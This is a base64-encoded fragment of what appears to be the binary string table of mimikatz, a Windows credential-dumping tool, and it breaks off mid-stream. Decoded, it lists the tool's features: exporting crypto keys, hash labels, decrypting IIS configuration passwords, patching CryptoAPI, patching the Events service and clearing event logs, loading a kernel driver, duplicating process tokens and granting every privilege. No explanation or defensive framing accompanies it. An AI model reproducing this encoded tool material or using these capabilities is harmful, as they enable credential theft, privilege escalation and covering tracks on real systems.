4AHgACgAAAAAARQB4AHAAbwByAHQAIABQAG8AbABpAGMAeQAAAEwAZQBuAGcAdABoAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AcAByAGkAbgB0AEsAZQB5AEkAbgBmAG8AcwAgADsAIABOAEMAcgB5AHAAdABHAGUAdABQAHIAbwBwAGUAcgB0AHkAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBwAHIAaQBuAHQASwBlAHkASQBuAGYAbwBzACAAOwAgAEMAcgB5AHAAdABHAGUAdABLAGUAeQBQAGEAcgBhAG0AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAWQBFAFMAAABOAE8AAAAAAAkARQB4AHAAbwByAHQAYQBiAGwAZQAgAGsAZQB5ACAAOgAgACUAcwAKAAkASwBlAHkAIABzAGkAegBlACAAIAAgACAAIAAgACAAOgAgACUAdQAKAAAAAABSAFMAQQBQAFIASQBWAEEAVABFAEIATABPAEIAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABSAGEAdwBLAGUAeQBUAG8ARgBpAGwAZQAgADsAIABOAEMAcgB5AHAAdABTAGUAdABQAHIAbwBwAGUAcgB0AHkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABSAGEAdwBLAGUAeQBUAG8ARgBpAGwAZQAgADsAIABOAEMAcgB5AHAAdABJAG0AcABvAHIAdABLAGUAeQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABSAGEAdwBLAGUAeQBUAG8ARgBpAGwAZQAgADsAIABOAG8AIABDAE4ARwAhAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AFIAYQB3AEsAZQB5AFQAbwBGAGkAbABlACAAOwAgAEMAcgB5AHAAdABJAG0AcABvAHIAdABLAGUAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAQwBBAFAASQBQAFIASQBWAEEAVABFAEIATABPAEIAAABPAEsAAAAAAEsATwAAAAAACQBQAHIAaQB2AGEAdABlACAAZQB4AHAAbwByAHQAIAA6ACAAJQBzACAALQAgAAAAJwAlAHMAJwAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AEsAZQB5AFQAbwBGAGkAbABlACAAOwAgAEUAeABwAG8AcgB0ACAALwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABLAGUAeQBUAG8ARgBpAGwAZQAgADsAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZwBlAG4AZQByAGEAdABlAEYAaQBsAGUATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABkAGUAcgAAAAkAUAB1AGIAbABpAGMAIABlAHgAcABvAHIAdAAgACAAOgAgACUAcwAgAC0AIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABDAGUAcgB0ACAAOwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQAQwBlAHIAdAAgADsAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZwBlAG4AZQByAGEAdABlAEYAaQBsAGUATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAcABmAHgAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AEMAZQByAHQAIAA7ACAARQB4AHAAbwByAHQAIAAvACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAlAHMAXwAlAHMAXwAlAHUAXwAlAHMALgAlAHMAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AcwBjAF8AcAByAG8AdgB0AHkAcABlAGYAcgBvAG0AbgBhAG0AZQAgADsAIABDAHIAeQBwAHQARQBuAHUAbQBQAHIAbwB2AGkAZABlAHIAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABcAFwALgBcAAAAAABTAEMAYQByAGQAJABBAGwAbABSAGUAYQBkAGUAcgBzAAAAAABTAG0AYQByAHQAQwBhAHIAZAAgAHIAZQBhAGQAZQByAHMAOgAKAAAACgAgACoAIAAlAHMACgAAACAAIAAgACAAQQBUAFIAIAAgADoAIAAAACAAIAAgACAATQBvAGQAZQBsADoAIAAlAHMACgAAAAAAIAAgACAAIABDAFMAUAAgACAAOgAgACUAcwAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBzAGMAIAA7ACAAUwBDAGEAcgBkAEcAZQB0AEMAYQByAGQAVAB5AHAAZQBQAHIAbwB2AGkAZABlAHIATgBhAG0AZQA6ACAAMAB4ACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AcwBjACAAOwAgAFMAQwBhAHIAZABMAGkAcwB0AEMAYQByAGQAcwA6ACAAMAB4ACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBzAGMAIAA7ACAAUwBDAGEAcgBkAEcAZQB0AEEAdAB0AHIAaQBiADoAIAAwAHgAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAHMAYwAgADsAIABTAEMAYQByAGQAQwBvAG4AbgBlAGMAdAA6ACAAMAB4ACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AcwBjACAAOwAgAFMAQwBhAHIAZABMAGkAcwB0AFIAZQBhAGQAZQByAHMAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAHMAYwAgADsAIABTAEMAYQByAGQARQBzAHQAYQBiAGwAaQBzAGgAQwBvAG4AdABlAHgAdAA6ACAAMAB4ACUAMAA4AHgACgAAAE4AVABMAE0AOgAgAAAAAABEAEMAQwAxADoAIAAAAAAARABDAEMAMgA6ACAAAAAAAEwATQAgACAAOgAgAAAAAABNAEQANQAgADoAIAAAAAAAUwBIAEEAMQA6ACAAAAAAAFMASABBADIAOgAgAAAAAABbACUAMAA0AHgALwAlAHgAXQAgACUAcwAKAAAAIAAgAAAAAABQAHIAbwB2AGkAZABlAHIAIABpAG4AZgBvADoACgAAAAkASwBlAHkAIABDAG8AbgB0AGEAaQBuAGUAcgAgACAAOgAgACUAcwAKAAAACQBQAHIAbwB2AGkAZABlAHIAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAJAFAAcgBvAHYAaQBkAGUAcgAgAHQAeQBwAGUAIAAgADoAIAAlAHMAIAAoACUAdQApAAoAAAAAAAkARgBsAGEAZwBzACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgACgAAAAkAUABhAHIAYQBtACAAKAB0AG8AZABvACkAIAAgACAAOgAgACUAMAA4AHgAIAAvACAAJQAwADgAeAAKAAAAAAAKACoAIABGAGkAbABlADoAIAAnACUAcwAnAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBzAHkAcwB0AGUAbQAgADsAIABJAG4AcAB1AHQAIABNAGkAYwByAG8AcwBvAGYAdAAgAEMAcgB5AHAAdABvACAAQwBlAHIAdABpAGYAaQBjAGEAdABlACAAZgBpAGwAZQAgAG4AZQBlAGQAZQBkACAAKAAvAGYAaQBsAGUAOgBmAGkAbABlAG4AYQBtAGUAfABkAGkAcgBlAGMAdABvAHIAeQApAAoAAABjAHIAbAAAAGMAdABsAAAAawBlAHkAaQBkAAAARABhAHQAYQA6ACAAAAAAACUAcwAuACUAcwAAAFMAYQB2AGUAZAAgAHQAbwAgAGYAaQBsAGUAOgAgACUAcwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZgBpAGwAZQBfAHIAYQB3AEQAYQB0AGEAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AdwByAGkAdABlAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGMAXwBzAGMAXwBhAHUAdABoAF8AcQB1AGkAYwBrAEUAbgBjAG8AZABlACAAOwAgAEMAcgB5AHAAdABFAG4AYwBvAGQAZQBPAGIAagBlAGMAdAAgACgAZABhAHQAYQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBjAF8AcwBjAF8AYQB1AHQAaABfAHEAdQBpAGMAawBFAG4AYwBvAGQAZQAgADsAIABDAHIAeQBwAHQARQBuAGMAbwBkAGUATwBiAGoAZQBjAHQAIAAoAGkAbgBpAHQAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAxLjMuNi4xLjQuMS4zMTEuMjAuMi4zAAAyLjUuMjkuMTcAAAAyLjUuMjkuMTUAAAAyLjUuMjkuMzcAAAAyLjUuNC4zADIuNS40LjEwAAAAADIuNS40LjYARgBSAAAAAABMAE8AQwBBAEwAXwBNAEEAQwBIAEkATgBFAAAAYwBhAHMAdABvAHIAZQAAAGMAYQBuAGEAbQBlAAAAAAB1AHAAbgAAAEMAQQAgAHMAdABvAHIAZQAgACAAIAAgACAAIAAgADoAIAAlAHMACgAAAAAAQwBBACAAbgBhAG0AZQAgACAAIAAgACAAIAAgACAAOgAgACUAcwAKAAAAAABDAEEAIAB2AGEAbABpAGQAaQB0AHkAIAAgACAAIAA6ACAAAABDAGUAcgB0AGkAZgBpAGMAYQB0AGUAIABVAFAATgA6ACAAJQBzAAoAAAAAADEuMy42LjEuNS41LjcuMy4yAAAAMS4zLjYuMS40LjEuMzExLjIwLjIuMgAASwBlAHkAIABjAG8AbgB0AGEAaQBuAGUAcgAgACAAOgAgACUAcwAKAAAAAABLAGUAeQAgAHAAcgBvAHYAaQBkAGUAcgAgACAAIAA6ACAAJQBzAAoAAAAAAFAAcgBpAHYAYQB0AGUAIABFAHgAcABvAHIAdAAgADoAIAAlAHMAIAAtACAAJQBzAAoAAAAAAAAAUAByAGkAdgBhAHQAZQAgAFMAdABvAHIAZQAgACAAOgAgAEMARQBSAFQAXwBTAFkAUwBUAEUATQBfAFMAVABPAFIARQBfAEMAVQBSAFIARQBOAFQAXwBVAFMARQBSAC8ATQB5ACAALQAgACUAcwAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGMAXwBzAGMAXwBhAHUAdABoACAAOwAgAEMAcgB5AHAAdABTAGkAZwBuAEEAbgBkAEUAbgBjAG8AZABlAEMAZQByAHQAaQBmAGkAYwBhAHQAZQAgACgAZABhAHQAYQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBjAF8AcwBjAF8AYQB1AHQAaAAgADsAIABDAHIAeQBwAHQAUwBpAGcAbgBBAG4AZABFAG4AYwBvAGQAZQBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAIAAoAGkAbgBpAHQAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AYwBfAHMAYwBfAGEAdQB0AGgAIAA7ACAAQwByAHkAcAB0AEUAeABwAG8AcgB0AFAAdQBiAGwAaQBjAEsAZQB5AEkAbgBmAG8AIAAoAGQAYQB0AGEAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBjAF8AcwBjAF8AYQB1AHQAaAAgADsAIABDAHIAeQBwAHQARQB4AHAAbwByAHQAUAB1AGIAbABpAGMASwBlAHkASQBuAGYAbwAgACgAaQBuAGkAdAApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGMAXwBzAGMAXwBhAHUAdABoACAAOwAgAEMAcgB5AHAAdABHAGUAbgBLAGUAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBjAF8AcwBjAF8AYQB1AHQAaAAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGQAZQBsAGUAdABlACAAdABlAG0AcAAgAGsAZQB5AHMAZQB0ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBjAF8AcwBjAF8AYQB1AHQAaAAgADsAIABDAHIAeQBwAHQAQQBjAHEAdQBpAHIAZQBDAG8AbgB0AGUAeAB0ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGMAXwBzAGMAXwBhAHUAdABoACAAOwAgAEMAcgB5AHAAdABBAGMAcQB1AGkAcgBlAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBQAHIAaQB2AGEAdABlAEsAZQB5ACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AYwBfAHMAYwBfAGEAdQB0AGgAIAA7ACAAQwBlAHIAdABGAGkAbgBkAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBJAG4AUwB0AG8AcgBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AYwBfAHMAYwBfAGEAdQB0AGgAIAA7ACAAQwBlAHIAdABPAHAAZQBuAFMAdABvAHIAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGMAXwBzAGMAXwBhAHUAdABoACAAOwAgAC8AdQBwAG4AOgB1AHMAZQByAEAAZABvAG0AYQBpAG4ALgBsAG8AYwBhAGwAIABuAGUAZQBkAGUAZAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AYwBfAHMAYwBfAGEAdQB0AGgAIAA7ACAALwBjAGEAbgBhAG0AZQA6AEMAQQAtAEsASQBXAEkAIABuAGUAZQBkAGUAZAAKAAAAcgBzAGEAZQBuAGgALgBkAGwAbAAAAAAATABvAGMAYQBsACAAQwByAHkAcAB0AG8AQQBQAEkAIABwAGEAdABjAGgAZQBkAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AcABfAGMAYQBwAGkAIAA7ACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBwAF8AYwBhAHAAaQAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAdABWAGUAcgB5AEIAYQBzAGkAYwBNAG8AZAB1AGwAZQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAABuAGMAcgB5AHAAdAAuAGQAbABsAAAAAABuAGMAcgB5AHAAdABwAHIAbwB2AC4AZABsAGwAAAAAAEsAZQB5AEkAcwBvAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AcABfAGMAbgBnACAAOwAgAE4AbwAgAEMATgBHAAoAAABkAHIAbwBwAAAAAAAAAAAAWwBlAHgAcABlAHIAaQBtAGUAbgB0AGEAbABdACAAcABhAHQAYwBoACAARQB2AGUAbgB0AHMAIABzAGUAcgB2AGkAYwBlACAAdABvACAAYQB2AG8AaQBkACAAbgBlAHcAIABlAHYAZQBuAHQAcwAAAGMAbABlAGEAcgAAAEMAbABlAGEAcgAgAGEAbgAgAGUAdgBlAG4AdAAgAGwAbwBnAAAAAABlAHYAZQBuAHQAAABFAHYAZQBuAHQAIABtAG8AZAB1AGwAZQAAAAAAZQB2AGUAbgB0AGwAbwBnAC4AZABsAGwAAAAAAHcAZQB2AHQAcwB2AGMALgBkAGwAbAAAAEUAdgBlAG4AdABMAG8AZwAAAAAAUwBlAGMAdQByAGkAdAB5AAAAAABsAG8AZwAAAFUAcwBpAG4AZwAgACIAJQBzACIAIABlAHYAZQBuAHQAIABsAG8AZwAgADoACgAAAC0AIAAlAHUAIABlAHYAZQBuAHQAKABzACkACgAAAAAALQAgAEMAbABlAGEAcgBlAGQAIAAhAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGUAdgBlAG4AdABfAGMAbABlAGEAcgAgADsAIABDAGwAZQBhAHIARQB2AGUAbgB0AEwAbwBnACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZQB2AGUAbgB0AF8AYwBsAGUAYQByACAAOwAgAE8AcABlAG4ARQB2AGUAbgB0AEwAbwBnACAAKAAwAHgAJQAwADgAeAApAAoAAABhAHAAcABoAG8AcwB0AAAAaQBpAHMAAABJAEkAUwAgAFgATQBMACAAQwBvAG4AZgBpAGcAIABtAG8AZAB1AGwAZQAAAC8ALwBjAG8AbgBmAGkAZwB1AHIAYQB0AGkAbwBuAC8AcwB5AHMAdABlAG0ALgBhAHAAcABsAGkAYwBhAHQAaQBvAG4ASABvAHMAdAAvAGEAcABwAGwAaQBjAGEAdABpAG8AbgBQAG8AbwBsAHMALwBhAGQAZAAAAC8ALwBjAG8AbgBmAGkAZwB1AHIAYQB0AGkAbwBuAC8AcwB5AHMAdABlAG0ALgBhAHAAcABsAGkAYwBhAHQAaQBvAG4ASABvAHMAdAAvAHMAaQB0AGUAcwAvAHMAaQB0AGUAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBpAGkAcwBfAGEAcABwAGgAbwBzAHQAIAA7ACAATQBpAHMAcwBpAG4AZwAgAC8AaQBuADoAZgBpAGwAZQBuAGEAbQBlACAAKABhAHAAcABsAGkAYwBhAHQAaQBvAG4ASABvAHMAdAAuAGMAbwBuAGYAaQBnACkACgAAAAoAKgAgAEEAcABwAGwAaQBjAGEAdABpAG8AbgBQAG8AbwBsADoAIAAnACUAcwAnAAoAAABwAHIAbwBjAGUAcwBzAE0AbwBkAGUAbAAAAAAAdQBzAGUAcgBOAGEAbQBlAAAAAAAgACAAVQBzAGUAcgBuAGEAbQBlADoAIAAlAHMACgAAACAAIABQAGEAcwBzAHcAbwByAGQAOgAgACUAcwAKAAAACgAqACAAUwBpAHQAZQA6ACAAJwAlAHMAJwAKAAAAAABhAHAAcABsAGkAYwBhAHQAaQBvAG4AAABwAGEAdABoAAAAAAAgACAAPgAgAEEAcABwAGwAaQBjAGEAdABpAG8AbgAgAFAAYQB0AGgAOgAgACUAcwAKAAAAdgBpAHIAdAB1AGEAbABEAGkAcgBlAGMAdABvAHIAeQAAAAAAAAAAACAAIAAgACAALQAgAFYAaQByAHQAdQBhAGwARABpAHIAZQBjAHQAbwByAHkAIABQAGEAdABoADoAIAAlAHMAIAAoACAAAAAAAHAAaAB5AHMAaQBjAGEAbABQAGEAdABoAAAAAAAgACkACgAAACAAIAAgACAAIAAgAFUAcwBlAHIAbgBhAG0AZQA6ACAAJQBzAAoAAAAgACAAIAAgACAAIABQAGEAcwBzAHcAbwByAGQAOgAgACUAcwAKAAAAWwBlAG4AYwA6AAAAOgBlAG4AYwBdAAAAAAAAACAAIAB8ACAAUAByAG8AdgBpAGQAZQByACAAIAA6ACAAJQBzAAoAIAAgAHwAIABEAGEAdABhACAAIAAgACAAIAAgADoAIAAlAHMACgAAAAAALwAvAGMAbwBuAGYAaQBnAHUAcgBhAHQAaQBvAG4ALwBjAG8AbgBmAGkAZwBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAC8AcAByAG8AdgBpAGQAZQByAHMALwBhAGQAZAAAAHQAeQBwAGUAAAAAAE0AaQBjAHIAbwBzAG8AZgB0AC4AQQBwAHAAbABpAGMAYQB0AGkAbwBuAEgAbwBzAHQALgBBAGUAcwBQAHIAbwB0AGUAYwB0AGUAZABDAG8AbgBmAGkAZwB1AHIAYQB0AGkAbwBuAFAAcgBvAHYAaQBkAGUAcgAAAGsAZQB5AEMAbwBuAHQAYQBpAG4AZQByAE4AYQBtAGUAAAAAACAAIAB8ACAASwBlAHkATgBhAG0AZQAgACAAIAA6ACAAJQBzAAoAAABzAGUAcwBzAGkAbwBuAEsAZQB5AAAAAAB1AHMAZQBNAGEAYwBoAGkAbgBlAEMAbwBuAHQAYQBpAG4AZQByAAAAdAByAHUAZQAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBpAGkAcwBfAGEAcABwAGgAbwBzAHQAXwBwAHIAbwB2AGkAZABlAHIAIAA7ACAAdAB5AHAAZQAgAGkAcwAgAG4AbwB0ACAAcwB1AHAAcABvAHIAdABlAGQAIAAoACUAcwApAAoAAABsAGkAdgBlAAAAAAAgACAAfAAgAEwAaQB2AGUAIABLAGUAeQAgACAAOgAgACUAcwAgAC0AIAAlAHMAIAA6ACAAAAAAACAAIAB8ACAAUABWAEsAIABmAGkAbABlACAAIAA6ACAAJQBzACAALQAgACcAJQBzACcAIAA6ACAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AaQBpAHMAXwBhAHAAcABoAG8AcwB0AF8AcAByAG8AdgBpAGQAZQByAF8AZABlAGMAcgB5AHAAdAAgADsAIABDAHIAeQBwAHQASQBtAHAAbwByAHQASwBlAHkAIAAoAFIAUwBBACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAIAAgAHwAIABQAGEAcwBzAHcAbwByAGQAIAAgADoAIAAlAHMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AaQBpAHMAXwBhAHAAcABoAG8AcwB0AF8AcAByAG8AdgBpAGQAZQByAF8AZABlAGMAcgB5AHAAdAAgADsAIABDAHIAeQBwAHQARABlAGMAcgB5AHAAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGkAaQBzAF8AYQBwAHAAaABvAHMAdABfAHAAcgBvAHYAaQBkAGUAcgBfAGQAZQBjAHIAeQBwAHQAIAA7ACAAQwByAHkAcAB0AEkAbQBwAG8AcgB0AEsAZQB5ACAAKABzAGUAcwBzAGkAbwBuACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBpAGkAcwBfAGEAcABwAGgAbwBzAHQAXwBwAHIAbwB2AGkAZABlAHIAXwBkAGUAYwByAHkAcAB0ACAAOwAgAEMAcgB5AHAAdABBAGMAcQB1AGkAcgBlAEMAbwBuAHQAZQB4AHQAIAAoADAAeAAlADAAOAB4ACkACgAAACsAAABJAG4AcwB0AGEAbABsACAAYQBuAGQALwBvAHIAIABzAHQAYQByAHQAIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgACgAbQBpAG0AaQBkAHIAdgApAAAAAAAtAAAAAAAAAFIAZQBtAG8AdgBlACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIAAoAG0AaQBtAGkAZAByAHYAKQAAAAAAcABpAG4AZwAAAAAAUABpAG4AZwAgAHQAaABlACAAZAByAGkAdgBlAHIAAABiAHMAbwBkAAAAAABCAFMATwBEACAAIQAAAAAAcAByAG8AYwBlAHMAcwAAAEwAaQBzAHQAIABwAHIAbwBjAGUAcwBzAAAAAABwAHIAbwBjAGUAcwBzAFAAcgBvAHQAZQBjAHQAAAAAAFAAcgBvAHQAZQBjAHQAIABwAHIAbwBjAGUAcwBzAAAAcAByAG8AYwBlAHMAcwBUAG8AawBlAG4AAAAAAEQAdQBwAGwAaQBjAGEAdABlACAAcAByAG8AYwBlAHMAcwAgAHQAbwBrAGUAbgAAAHAAcgBvAGMAZQBzAHMAUAByAGkAdgBpAGwAZQBnAGUAAAAAAFMAZQB0ACAAYQBsAGwAIABwAHIAaQB2AGkAbABlAGcAZQAgAG8AbgAgAHAAcgBvAGMAZQBzAHMAAAAAAG0AbwBkAHUAbABlAHMAAABMAGkAcwB0ACAAbQBvAGQAdQBsAGUAcwAAAAAAcwBzAGQAdAAAAAAATABpAHMAdAAgAFMAUwBEAFQAAABuAG8AdABpAGYAUAByAG8AYwBlAHMAcwAAAAAATABpAHMAdAAgAHAAcgBvAGMAZQBzAHMAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawBzAAAAbgBvAHQAaQBmAFQAaAByAGUAYQBkAAAATABpAHMAdAAgAHQAaAByAGUAYQBkACAAbgBvAHQAaQBmAHkAIABjAGEAbABsAGIAYQBjAGsAcwAAAAAAbgBvAHQAaQBmAEkAbQBhAGcAZQAAAAAATABpAHMAdAAgAGkAbQBhAGcAZQAgAG4AbwB0AGkAZgB5ACAAYwBhAGwAbABiAGEAYwBrAHMAAABuAG8AdABpAGYAUgBlAGcAAAAAAEwAaQBzAHQAIAByAGUAZwBpAHMAdAByAHkAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawBzAAAAAABuAG8AdABpAGYATwBiAGoAZQBjAHQAAABMAGkAcwB0ACAAbwBiAGoAZQBjAHQAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawBzAAAAAABmAGkAbAB0AGUAcgBzAAAATABpAHMAdAAgAEYAUwAgAGYAaQBsAHQAZQByAHMAAABtAGkAbgBpAGYAaQBsAHQAZQByAHMAAABMAGkAcwB0ACAAbQBpAG4AaQBmAGkAbAB0AGUAcgBzAAAAAABzAHkAcwBlAG4AdgBzAGUAdAAAAAAAAABTAHkAcwB0AGUAbQAgAEUAbgB2AGkAcgBvAG4AbQBlAG4AdAAgAFYAYQByAGkAYQBiAGwAZQAgAFMAZQB0AAAAcwB5AHMAZQBuAHYAZABlAGwAAAAAAAAAUwB5AHMAdABlAG0AIABFAG4AdgBpAHIAbwBuAG0AZQBuAHQAIABWAGEAcgBpAGEAYgBsAGUAIABEAGUAbABlAHQAZQAAAAAAbQBpAG0AaQBkAHIAdgAuAHMAeQBzAAAAbQBpAG0AaQBkAHIAdgAAAFsAKwBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABhAGwAcgBlAGEAZAB5ACAAcgBlAGcAaQBzAHQAZQByAGUAZAAKAAAAWwAqAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAG4AbwB0ACAAcAByAGUAcwBlAG4AdAAKAAAAAABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgACgAbQBpAG0AaQBkAHIAdgApAAAAWwArAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAHMAdQBjAGMAZQBzAHMAZgB1AGwAbAB5ACAAcgBlAGcAaQBzAHQAZQByAGUAZAAKAAAAAAAAAAAAWwArAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAEEAQwBMACAAdABvACAAZQB2AGUAcgB5AG8AbgBlAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABXAG8AcgBsAGQAVABvAE0AaQBtAGkAawBhAHQAegAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAF8AbQBpAG0AaQBkAHIAdgAgADsAIABDAHIAZQBhAHQAZQBTAGUAcgB2AGkAYwBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAF8AbQBpAG0AaQBkAHIAdgAgADsAIABrAHUAbABsAF8Ab